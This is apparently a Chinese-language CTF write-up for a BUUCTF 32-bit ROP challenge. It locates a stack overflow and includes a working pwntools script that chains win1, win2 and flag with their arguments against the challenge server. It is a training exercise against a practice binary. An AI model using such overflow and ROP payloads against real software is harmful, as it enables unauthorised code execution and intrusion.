32 位连续 ROP

话不多说，直接上题（BUUCTF）

在 main 函数中发现漏洞函数

明显栈溢出

有个 flag 函数，要求是 win1、win2 为真且 a1 等于一个值

选中数值右键 Hexdecimal 转为十六进制 0xDEADBAAD

函数 function1 中定义的 win1 的值

在 function2 中我们要传入 a1 = 0xBAAAAAAD

回想 32 位 ROP 方式是函数 + 返回地址 + 参数

则 win1 的返回地址是 win2，win2 返回地址是 flag

构造 payload

from pwn import *

sh = remote('node5.buuoj.cn',27251)

a1_win2 = 0xBAAAAAAD
a1_flag = 0xDEADBAAD
win1 = 0x80485cb
win2 = 0x80485d8
flag = 0x804862b

payload = b'a'*(0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(a1_win2) + p32(a1_flag)

sh.sendline(payload)
sh.interactive()

成功拿到 flag

版权声明 1、本站唯一名称： 侠者安全社区
2、本站永久网址：https://www.xiasec.com
3、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长VXfreek0x00进行删除处理。
4、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。

THE END

二进制安全